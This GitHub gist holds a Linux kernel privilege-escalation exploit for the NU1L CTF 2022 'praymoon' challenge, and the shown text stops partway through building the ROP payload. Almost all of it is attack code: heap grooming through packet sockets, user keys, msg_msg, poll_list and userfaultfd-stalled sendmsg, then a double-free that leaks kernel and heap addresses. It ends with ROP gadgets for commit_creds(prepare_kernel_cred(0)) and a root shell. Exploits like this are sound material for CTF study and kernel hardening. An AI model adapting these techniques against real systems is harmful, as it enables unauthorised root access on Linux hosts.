Skip to content

Instantly share code, notes, and snippets.

@Roarcannotprogramming
Created November 9, 2022 16:35
Show Gist options
  • Save Roarcannotprogramming/aca9acf10aeba78f797e6e4b93fe4b4a to your computer and use it in GitHub Desktop.
Save Roarcannotprogramming/aca9acf10aeba78f797e6e4b93fe4b4a to your computer and use it in GitHub Desktop.
EXP for NU1L CTF 2022 praymoon
#include "banzi.h"
/*
* socket 占页
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
* 需要在内核中开启 CONFIG_USER_NS=y, 默认开启
*/
void unshare_setup(uid_t uid, gid_t gid) {
int temp;
char edit[0x100];
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
temp = open("/proc/self/setgroups", O_WRONLY);
write(temp, "deny", strlen("deny"));
close(temp);
temp = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", uid);
write(temp, edit, strlen(edit));
close(temp);
temp = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", gid);
write(temp, edit, strlen(edit));
close(temp);
return;
}
void send_spray_cmd(enum spray_cmd cmd, int idx) {
ipc_req_t req;
int32_t result;
req.cmd = cmd;
req.idx = idx;
write(sprayfd_child[1], &req, sizeof(req));
read(sprayfd_parent[0], &result, sizeof(result));
assert(result == idx);
}
int alloc_pages_via_sock(uint32_t size, uint32_t n) {
struct tpacket_req req;
int32_t socketfd, version;
socketfd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socketfd < 0) {
perror("bad socket");
exit(-1);
}
version = TPACKET_V1;
if (setsockopt(socketfd, SOL_PACKET, PACKET_VERSION, &version, sizeof(version)) < 0) {
perror("setsockopt PACKET_VERSION failed");
exit(-1);
}
assert(size % 4096 == 0);
memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = n;
req.tp_frame_size = 4096;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
if (setsockopt(socketfd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req)) < 0) {
perror("setsockopt PACKET_TX_RING failed");
exit(-1);
}
return socketfd;
}
void spray_comm_handler() {
ipc_req_t req;
int32_t result;
do {
read(sprayfd_child[0], &req, sizeof(req));
assert(req.idx < INITIAL_PAGE_SPRAY);
if (req.cmd == ALLOC_PAGE) {
socketfds[req.idx] = alloc_pages_via_sock(4096, 1);
} else if (req.cmd == FREE_PAGE) {
close(socketfds[req.idx]);
}
result = req.idx;
write(sprayfd_parent[1], &result, sizeof(result));
} while (req.cmd != EXIT_SPRAY);
}
static void socket_spray_example() {
// for communicating with spraying in separate namespace via TX_RINGs
pipe(sprayfd_child);
pipe(sprayfd_parent);
puts("setting up spray manager in separate namespace");
if (!fork()) {
unshare_setup(getuid(), getgid());
spray_comm_handler();
}
puts("Allocated all pages");
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
send_spray_cmd(ALLOC_PAGE, i);
}
puts("Closed all odd pages");
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) {
send_spray_cmd(FREE_PAGE, i);
}
// TODO: get the freed odd pages back with our struct
// puts("Allocated all shm");
// for (int i = 0; i < ((INITIAL_PAGE_SPRAY) / 2) * (0x1000 / 0x20) / 100; i++) {
// alloc_shm(i);
// }
puts("Closed all even pages");
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) {
send_spray_cmd(FREE_PAGE, i);
}
}
/*
* ROP 相关
*/
void *(*prepare_kernel_cred)(uint64_t)KERNCALL = (void *(*)(uint64_t))0xffffffff810b9d80; // TODO:change it
void (*commit_creds)(void *) KERNCALL = (void (*)(void *))0xffffffff810b99d0; // TODO:change it
void save_stats_64() {
__asm__ __volatile__(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
:
: "memory");
}
void templine() {
commit_creds(prepare_kernel_cred(0));
__asm__ __volatile__(
"pushq %0;"
"pushq %1;"
"pushq %2;"
"pushq %3;"
"pushq $shell;"
"pushq $0;"
"swapgs;"
"popq %%rbp;"
"iretq;"
:
: "m"(user_ss), "m"(user_sp), "m"(user_rflags), "m"(user_cs));
}
void shell() {
printf("root\n");
system("/bin/sh");
exit(0);
}
uint64_t calc(uint64_t addr) { return addr - 0xffffffff81000000 + base_addr; }
/*
* msg_msg 相关
* https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
*/
int32_t make_queue(key_t key, int msgflg) {
int32_t qid;
if ((qid = msgget(key, msgflg)) == -1) {
perror("msgget failure");
exit(-1);
}
return qid;
}
void get_msg(int msqid, struct msg_struct *msgp, size_t msgsz, long msgtyp, int msgflg) {
if (msgrcv(msqid, msgp, msgsz, msgtyp, msgflg) < 0) {
perror("msgrcv");
exit(-1);
}
return;
}
void send_msg(int msqid, struct msg_struct *msgp, size_t msgsz, int msgflg) {
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1) {
perror("msgsend failure");
exit(-1);
}
return;
}
static void msg_msg_example() {
char *message = "Hello, World";
char *recieved = malloc(0x100);
int qid = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(qid, message, strlen(message) + 1, 0);
get_msg(qid, recieved, strlen(message) + 1, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
}
/*
* cpu_affinity 相关
*/
void assign_to_core(int core_id) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (sched_setaffinity(getpid(), sizeof(mask), &mask) < 0) {
perror("[X] sched_setaffinity()");
exit(1);
}
}
void assign_thread_to_core(int core_id) {
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(core_id, &mask);
if (pthread_setaffinity_np(pthread_self(), sizeof(mask), &mask) < 0) {
perror("[X] assign_thread_to_core_range()");
exit(1);
}
}
/*
* userfaultfd 相关
*/
uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler) {
struct uffdio_api ua;
struct uffdio_register ur;
pthread_t thr;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // Create THE User Fault Fd
ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1) errExit("[-] ioctl-UFFDIO_API");
ur.range.start = (unsigned long)fault_page;
ur.range.len = fault_page_len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1)
errExit(
"[-] ioctl-UFFDIO_REGISTER"); //注册页地址与错误处理FD,若访问到FAULT_PAGE,则访问被挂起,uffd会接收到信号
if (pthread_create(&thr, NULL, (void *(*)(void *))handler, (void *)uffd)) // handler函数进行访存错误处理
errExit("[-] pthread_create");
return uffd;
}
static void *userfault_handler_example(void *arg) {
struct uffd_msg msg; /* Data read from userfaultfd */
int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long)arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) perror("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1) puts("poll");
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1) puts("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
// TODO: write
printf("[-] triggering write fault\n");
sleep(2);
} else {
// TODO: read
printf("[-] triggering write fault\n");
sleep(2);
fault_cnt++;
uffdio_copy.src = (unsigned long)page;
uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1) perror("ioctl-UFFDIO_COPY");
}
}
}
/*
* add_key 相关
* https://syst3mfailure.io/corjail
*/
int alloc_key(int id, char *buff, size_t size) {
char desc[256] = {0};
char *payload;
int key;
size -= sizeof(struct user_key_payload);
sprintf(desc, "payload_%d", id);
payload = buff ? buff : calloc(1, size);
if (!buff) memset(payload, id, size);
key = add_key("user", desc, payload, size, KEY_SPEC_PROCESS_KEYRING);
if (key < 0) {
perror("[X] add_key()");
return -1;
}
return key;
}
void free_key(int i) {
keyctl_revoke(spray_keys[i]);
keyctl_unlink(spray_keys[i], KEY_SPEC_PROCESS_KEYRING);
}
char *get_key(int i, size_t size) {
char *data;
data = calloc(1, size);
keyctl_read(spray_keys[i], data, size);
return data;
}
/*
* shm 相关
* https://syst3mfailure.io/sixpack-slab-out-of-bounds
*/
void alloc_shm(int i) {
shmid[i] = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
if (shmid[i] < 0) {
perror("[X] shmget fail");
exit(1);
}
shmaddr[i] = (void *)shmat(shmid[i], NULL, SHM_RDONLY);
if (shmaddr[i] < 0) {
perror("[X] shmat");
exit(1);
}
}
/*
* hexdump
*/
void hexdump(unsigned char *buff, size_t size) {
int i, j;
for (i = 0; i < size / 8; i++) {
if ((i % 2) == 0) {
if (i != 0) printf(" \n");
printf(" %04x ", i * 8);
}
printf("0x%016lx", ((uint64_t *)(buff))[i]);
printf(" ");
}
putchar('\n');
}
/*
* pollfd 相关
* https://syst3mfailure.io/corjail
*/
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
void *alloc_poll_list(void *args) {
struct pollfd *pfds;
int nfds, timeout, id, watch_fd;
id = ((struct t_args *)args)->id;
nfds = ((struct t_args *)args)->nfds;
timeout = ((struct t_args *)args)->timeout;
watch_fd = ((struct t_args *)args)->watch_fd;
pfds = calloc(nfds, sizeof(struct pollfd));
for (int i = 0; i < nfds; i++) {
pfds[i].fd = watch_fd;
pfds[i].events = POLLERR;
}
assign_thread_to_core(0);
pthread_mutex_lock(&mutex);
poll_threads++;
pthread_mutex_unlock(&mutex);
printf("[Thread %d] Start polling...\n", id);
int ret = poll(pfds, nfds, timeout);
printf("[Thread %d] Polling complete: %d!\n", id, ret);
}
void create_poll_thread(int id, size_t size, int timeout) {
struct t_args *args;
args = calloc(1, sizeof(struct t_args));
if (size > PAGE_SIZE) size = size - ((size / PAGE_SIZE) * sizeof(struct poll_list));
args->id = id;
args->nfds = NFDS(size);
args->timeout = timeout;
args->watch_fd = poll_watch_fd;
pthread_create(&poll_tid[id], 0, alloc_poll_list, (void *)args);
}
void join_poll_threads(void) {
for (int i = 0; i < poll_threads; i++) pthread_join(poll_tid[i], NULL);
poll_threads = 0;
}
void init_fd() {
poll_watch_fd = open("/etc/passwd", O_RDONLY);
if (poll_watch_fd < 1) {
perror("[X] init_fd()");
exit(1);
}
}
/*
* msgsnd 相关
* 需要 userfaultfd 配合使用,并注意检查 userfaultfd 结束后,sendmsg 是否返回。
*/
struct sockaddr_in socket_addr = {0};
void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t userfault_handler) {
assert(offset < PAGE_SIZE && "offset must be less than PAGE_SIZE");
assert(spray_size > 44 && "spray_size must be greater than 44");
sendmsg_mmaped_addrs = calloc(n, sizeof(uint64_t));
for (int i = 0; i < n; i++) {
sendmsg_mmaped_addrs[i] = mmap(NULL, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (sendmsg_mmaped_addrs[i] == MAP_FAILED) {
perror("[X] mmap");
exit(1);
}
// hit all the odd pages
sendmsg_mmaped_addrs[i][0] = '\0';
}
sendmsg_socketfd = socket(AF_INET, SOCK_DGRAM, 0);
socket_addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
socket_addr.sin_family = AF_INET;
socket_addr.sin_port = htons(6666);
sendmsg_msgs = calloc(n, sizeof(struct msghdr));
if (sendmsg_msgs == NULL) {
perror("[X] calloc");
exit(1);
}
for (int i = 0; i < n; i++) {
memset(&sendmsg_msgs[i], 0, sizeof(struct msghdr));
sendmsg_msgs[i].msg_control = sendmsg_mmaped_addrs[i] + offset;
sendmsg_msgs[i].msg_controllen = spray_size;
sendmsg_msgs[i].msg_name = (caddr_t)&socket_addr;
sendmsg_msgs[i].msg_namelen = sizeof(socket_addr);
register_userfault(sendmsg_mmaped_addrs[i] + 0x1000, PAGE_SIZE, (uint64_t)userfault_handler);
}
}
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <keyutils.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#define errExit(msg) \
do { \
perror(msg); \
exit(EXIT_FAILURE); \
} while (0)
#define PAGE_SIZE 0x1000
/*
* socket 占页
* https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html
* 需要在内核中开启 CONFIG_USER_NS=y, 默认开启
*/
// 一般环境最大 fds 是 1024,如果超出,修改 INITIAL_PAGE_SPRAY。
#define INITIAL_PAGE_SPRAY 903
#define PACKET_VERSION 10
#define PACKET_TX_RING 13
struct tpacket_req {
unsigned int tp_block_size;
unsigned int tp_block_nr;
unsigned int tp_frame_size;
unsigned int tp_frame_nr;
};
enum tpacket_versions {
TPACKET_V1,
TPACKET_V2,
TPACKET_V3,
};
int sprayfd_child[2];
int sprayfd_parent[2];
int socketfds[INITIAL_PAGE_SPRAY];
enum spray_cmd {
ALLOC_PAGE,
FREE_PAGE,
EXIT_SPRAY,
};
typedef struct {
enum spray_cmd cmd;
int32_t idx;
} ipc_req_t;
void unshare_setup(uid_t uid, gid_t gid);
void send_spray_cmd(enum spray_cmd cmd, int idx);
int alloc_pages_via_sock(uint32_t size, uint32_t n);
void spray_comm_handler();
/*
* ROP 相关
*/
unsigned long user_cs, user_ss, user_rflags, user_sp;
unsigned long long int base_addr;
#define KERNCALL __attribute__((regparm(3)))
void *(*prepare_kernel_cred)(uint64_t)KERNCALL;
void (*commit_creds)(void *) KERNCALL;
void save_stats_64();
void templine();
void shell();
uint64_t calc(uint64_t addr);
/*
* msg_msg 相关
* https://www.willsroot.io/2021/08/corctf-2021-fire-of-salvation-writeup.html
*/
struct msg_msg {
uint64_t m_list_1;
uint64_t m_list_2;
long m_type;
size_t m_ts; /* message text size */
uint64_t next;
void *security;
/* the actual message follows immediately */
};
struct msg_struct {
long mtype;
char mtext[0];
};
int32_t make_queue(key_t key, int msgflg);
void get_msg(int msqid, struct msg_struct *msgp, size_t msgsz, long msgtyp, int msgflg);
void send_msg(int msqid, struct msg_struct *msgp, size_t msgsz, int msgflg);
/*
* cpu_affinity 相关
*/
void assign_to_core(int core_id);
void assign_thread_to_core(int core_id);
/*
* userfaultfd 相关
*/
uint64_t register_userfault(uint64_t fault_page, uint64_t fault_page_len, uint64_t handler);
/*
* add_key 相关
* https://syst3mfailure.io/corjail
*/
struct rcu_head {
void *next;
void *func;
};
struct user_key_payload {
struct rcu_head rcu;
unsigned short datalen;
char *data[];
};
int spray_keys[0x1000];
int alloc_key(int id, char *buff, size_t size);
void free_key(int i);
char *get_key(int i, size_t size);
/*
* shm 相关
* https://syst3mfailure.io/sixpack-slab-out-of-bounds
*/
int shmid[0x1000];
void *shmaddr[0x1000];
void alloc_shm(int i);
/*
* hexdump
*/
void hexdump(unsigned char *buff, size_t size);
/*
* pollfd 相关
* https://syst3mfailure.io/corjail
*/
#define N_STACK_PPS 30
#define POLLFD_PER_PAGE 510
#define POLL_LIST_SIZE 16
#define NFDS(size) (((size - POLL_LIST_SIZE) / sizeof(struct pollfd)) + N_STACK_PPS);
pthread_t poll_tid[0x1000];
size_t poll_threads;
pthread_mutex_t mutex;
struct t_args {
int id;
int nfds;
int timeout;
int watch_fd;
};
struct poll_list {
struct poll_list *next;
int len;
struct pollfd entries[];
};
int poll_watch_fd;
void *alloc_poll_list(void *args);
void create_poll_thread(int id, size_t size, int timeout);
void join_poll_threads(void);
void init_fd();
/*
* sendmsg 相关
*/
int sendmsg_socketfd;
char **sendmsg_mmaped_addrs;
struct sockaddr_in socket_addr;
struct msghdr *sendmsg_msgs;
void sendmsg_init(uint64_t n, uint64_t spray_size, uint64_t offset, uint64_t userfault_handler);
#include "banzi.h"
int moon_fd;
uint64_t heap_addr, kernel_base, shm_struct_addr, pipe_addr, pipe_free_addr, legal_page;
struct uffd_thread_args {
uint64_t uffd;
uint64_t src_addr;
uint64_t dst_addr;
};
void wake_range(int ufd, unsigned long addr, unsigned long len) {
struct uffdio_range uffdio_wake;
uffdio_wake.start = addr;
uffdio_wake.len = len;
if (ioctl(ufd, UFFDIO_WAKE, &uffdio_wake)) fprintf(stderr, "error waking %lu\n", addr), exit(1);
}
static void *userfault_handler(void *arg) {
struct uffd_msg msg; /* Data read from userfaultfd */
int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long)arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) perror("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1) puts("poll");
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1) puts("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
// TODO: write
printf("[-] triggering write fault\n");
sleep(2);
} else {
// TODO: read
printf("[-] triggering read fault\n");
sleep(2);
fault_cnt++;
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (uint64_t)page;
uffdio_copy.dst = (uint64_t)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) {
if (uffdio_copy.copy != -EEXIST) {
perror("ioctl");
exit(1);
}
wake_range(uffd, uffdio_copy.dst, PAGE_SIZE);
};
}
}
}
static void *userfault_handler_forever(void *arg) {
struct uffd_msg msg; /* Data read from userfaultfd */
int fault_cnt = 0; /* Number of faults so far handled */
long uffd; /* userfaultfd file descriptor */
char *page = NULL;
struct uffdio_copy uffdio_copy;
ssize_t nread;
uffd = (long)arg;
/* Create a page that will be copied into the faulting region */
if (page == NULL) {
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED) perror("mmap");
}
/* Loop, handling incoming events on the userfaultfd
file descriptor */
for (;;) {
/* See what poll() tells us about the userfaultfd */
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);
if (nready == -1) puts("poll");
/* Read an event from the userfaultfd */
nread = read(uffd, &msg, sizeof(msg));
if (nread == 0) {
printf("EOF on userfaultfd!\n");
exit(EXIT_FAILURE);
}
if (nread == -1) puts("read");
/* We expect only one kind of event; verify that assumption */
if (msg.event != UFFD_EVENT_PAGEFAULT) {
fprintf(stderr, "Unexpected event on userfaultfd\n");
exit(EXIT_FAILURE);
}
/* Copy the page pointed to by 'page' into the faulting
region. Vary the contents that are copied in, so that it
is more obvious that each fault is handled separately. */
if (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WRITE) {
// TODO: write
printf("[-] triggering write fault\n");
sleep(2);
} else {
// TODO: read
printf("[-] triggering read fault\n");
sleep(100000000);
fault_cnt++;
struct uffdio_copy uffdio_copy;
uffdio_copy.src = (uint64_t)page;
uffdio_copy.dst = (uint64_t)msg.arg.pagefault.address & ~(0x1000 - 1);
uffdio_copy.len = 0x1000;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy)) {
if (uffdio_copy.copy != -EEXIST) {
perror("ioctl");
exit(1);
}
wake_range(uffd, uffdio_copy.dst, PAGE_SIZE);
};
}
}
}
void moon_malloc() { ioctl(moon_fd, 0x5555, 0); }
void moon_free() { ioctl(moon_fd, 0x6666, 0); }
#define NUM_PIPEFDS 0x100
int pipefd[NUM_PIPEFDS][2];
static void socket_spray() {
// for communicating with spraying in separate namespace via TX_RINGs
pipe(sprayfd_child);
pipe(sprayfd_parent);
puts("setting up spray manager in separate namespace");
if (!fork()) {
unshare_setup(getuid(), getgid());
spray_comm_handler();
}
puts("Allocated all pages");
for (int i = 0; i < INITIAL_PAGE_SPRAY; i++) {
send_spray_cmd(ALLOC_PAGE, i);
}
puts("Closed all odd pages");
for (int i = 1; i < INITIAL_PAGE_SPRAY; i += 2) {
send_spray_cmd(FREE_PAGE, i);
}
// TODO: get the freed odd pages back with our struct
puts("Allocated all pipe_buf");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
}
if (i % 2 == 0) {
if (write(pipefd[i][1], "pwneeeeeeeeee", 14) < 0) {
perror("[-] write");
}
}
}
// puts("Allocated all shm");
// for (int i = 0; i < ((INITIAL_PAGE_SPRAY) / 2) * (0x1000 / 0x20) / 100; i++) {
// alloc_shm(i);
// }
puts("Closed all even pages");
for (int i = 0; i < INITIAL_PAGE_SPRAY; i += 2) {
send_spray_cmd(FREE_PAGE, i);
}
}
void pthread_sendmsg(void *msg) {
assign_to_core(0);
sendmsg(sendmsg_socketfd, (struct msghdr *)msg, 0);
}
// int keys[0x1000];
#define MSG_SND_N 30
int main() {
char x;
pthread_t threads[0x200];
char tmp_buf[0x1000] = {0};
assign_to_core(0);
save_stats_64();
moon_fd = open("/dev/seven", O_RDWR);
sendmsg_init(MSG_SND_N, 0x1f0, 0xf00, userfault_handler);
socket_spray();
for (int i = 0; i < 10; i++) {
alloc_shm(i);
}
// pre spray
for (int i = 0; i < 7; i++) {
memset(tmp_buf, 'A' + i, 0x1000);
spray_keys[i] = alloc_key(i, tmp_buf, 0x101);
}
moon_malloc();
moon_free();
// user key limit 20000 / 0x101 = 77
for (int i = 7; i < 77; i++) {
memset(tmp_buf, 'a' + i, 0x1000);
spray_keys[i] = alloc_key(i, tmp_buf, 0x101);
}
// getchar();
for (int i = 0; i < 0x4; i++) {
free_key(i);
}
moon_free();
// getchar();
for (int i = 0; i < MSG_SND_N; i++) {
((uint64_t *)sendmsg_msgs[i].msg_control)[0] = 0;
((uint64_t *)sendmsg_msgs[i].msg_control)[1] = 0;
((uint64_t *)sendmsg_msgs[i].msg_control)[2] = 0xfff0;
((uint64_t *)sendmsg_msgs[i].msg_control)[3] = 0xdeadbeef;
pthread_create(&threads[i], NULL, pthread_sendmsg, (void *)&sendmsg_msgs[i]);
}
sleep(1);
char *key_data;
int find_key = -1;
for (int i = 7; i < 77; i++) {
key_data = get_key(i, 0xfff0);
// hexdump(key_data, 0x10);
if (((uint64_t *)key_data)[0] == 0xdeadbeef) {
printf("1: Found key %d\n", i);
find_key = i;
// for (int j = 0; j < 0xfff0; j += 8) {
// if ((*(uint64_t *)(key_data + j) & 0xfff) == 0x5a0) {
// printf("2: Found file %d at %x\n", i, j);
// heap_addr = *(uint64_t *)(key_data + j + 0x30) - (j + 0x30 + 0x18);
// kernel_base = *(uint64_t *)(key_data + j) - 0x124b5a0;
// file_struct_addr = (heap_addr + j - 0x10);
// if ((kernel_base & 0xfffff) != 0) {
// continue;
// }
// hexdump(key_data + j - 0x28, 0x80);
// printf("3: Found heap addr %#lx\nkernel base %#lx\nfile_struct addr %#lx\n", heap_addr,
// kernel_base,
// (heap_addr + j - 0x10));
// break;
// }
// }
for (int j = 0; j < 0xfff0; j += 8) {
if ((*(uint64_t *)(key_data + j) & 0xfff) == 0x520 && (j % 16) == 0) {
printf("2: Found shm %d at %x\n", i, j);
heap_addr = *(uint64_t *)(key_data + j - 0x18) - (j - 0x18 + 0x18);
kernel_base = *(uint64_t *)(key_data + j) - 0x124b520;
shm_struct_addr = heap_addr + j;
if ((kernel_base & 0xfffff) != 0) {
continue;
}
hexdump(key_data + j - 0x18, 0x20);
printf("3: Found heap addr %#lx\nkernel base %#lx\nshm_struct addr %#lx\n", heap_addr, kernel_base,
shm_struct_addr);
break;
}
}
for (int j = 0; j < 0xfff0; j += 8) {
if (*(uint64_t *)(key_data + j) == kernel_base + 0x121bbc0) {
pipe_addr = heap_addr + j + 0x18 - 0x10;
legal_page = *(uint64_t *)(key_data + j - 0x10);
printf("4: Found pipe %#lx, legal page %#lx\n", pipe_addr, legal_page);
hexdump(key_data + j - 0x10, 0x80);
pipe_free_addr = pipe_addr;
int k = 0;
while (*(uint64_t *)(key_data + j - 0x10 + k)) {
k += 0x400;
pipe_free_addr += 0x400;
}
printf("5: Found pipe free %#lx\n", pipe_free_addr);
break;
}
}
}
}
if (!(heap_addr && kernel_base && shm_struct_addr && pipe_addr && pipe_free_addr)) {
puts("Failed to leak addresses");
return 0;
}
// since sendmsg spray chunks are not freed by now,
// we can do something might change the fengshui.
// prepare pollfd spray
init_fd();
#define MSG_SND_N2 40
// prepare sendmsg
sendmsg_init(MSG_SND_N2, 0x1f0, 0xf00, userfault_handler_forever);
// wait sendmsg to free automatically
for (int i = 0; i < MSG_SND_N; i++) {
pthread_join(threads[i], NULL);
}
memset(threads, 0, sizeof(threads));
puts("Start Pollfd");
// create pollfd and timeout with 3s
for (int i = 0; i < 0x20; i++) {
create_poll_thread(i, 4096 + 0x1f0, 3000); // TODO: change
}
sleep(1);
for (int i = 4; i < 20; i++) {
if (i != find_key) {
free_key(i);
}
}
free_key(find_key);
for (int i = 0; i < MSG_SND_N2; i++) {
((uint64_t *)sendmsg_msgs[i].msg_control)[0] = pipe_free_addr;
pthread_create(&threads[i], NULL, pthread_sendmsg, (void *)&sendmsg_msgs[i]);
}
puts("wait all pollfds freed, now pipe_free_addr should be freed");
join_poll_threads();
// enable the freed pipe_buf
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (i % 2 == 1) {
if (write(pipefd[i][1], "pwneeeeeeeeee", 14) < 0) {
perror("[-] write");
}
}
}
uint64_t prepare_kernel_cred = kernel_base - 0xffffffff81000000 + 0xffffffff81097960;
uint64_t commit_creds = kernel_base - 0xffffffff81000000 + 0xffffffff810976c0;
// uint64_t work_for_cpu_fn = kernel_base - 0xffffffff81000000 + 0xffffffff81089480;
// push rsi; jge 0x3247e8; jmp qword ptr [rsi + 0x41];
uint64_t stack_pivot_gadget_0 = kernel_base - 0xffffffff81000000 + 0xffffffff811247e6;
// pop rsp; ret;
// uint64_t stack_pivot_gadget_1 = kernel_base - 0xffffffff81000000 + 0xffffffff81021a7b;
// add rsp, 0x78; ret;
uint64_t stack_pivot_gadget_2 = kernel_base - 0xffffffff81000000 + 0xffffffff813f643e;
// pop rsp; add rsp, 0x68; pop rbx; ret;
uint64_t stack_pivot_gadget_1 = kernel_base - 0xffffffff81000000 + 0xffffffff8134862c;
// pop rdi; ret;
uint64_t pop_rdi_ret = kernel_base - 0xffffffff81000000 + 0xffffffff8153e4d6;
// mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbx; pop rbp; pop r12; ret;
uint64_t mov_rdi_rax_gadget = kernel_base - 0xffffffff81000000 + 0xffffffff810fb3dc;
// pop rcx; ret
uint64_t pop_rcx_ret = kernel_base - 0xffffffff81000000 + 0xffffffff814b861c;
uint64_t swapgs_restore_regs_and_return_to_usermode = kernel_base - 0xffffffff81000000 + 0xffffffff81e00e10 + 22;
struct msg_struct *msg = malloc(sizeof(struct msg_struct) + 0x2000);
msg->mtype = 1;
// offset 0x8
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[0] = 0xdeadbeefcafebab1;
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[1] = pipe_free_addr + 0x50;
((uint64_t *)(msg->mtext + 0x1000 - 0x30))[2] = 0;
// offset 0x20
*(uint64_t *)(msg->mtext + 0x1000 - 0x38 + 0x41) = stack_pivot_gadget_1;
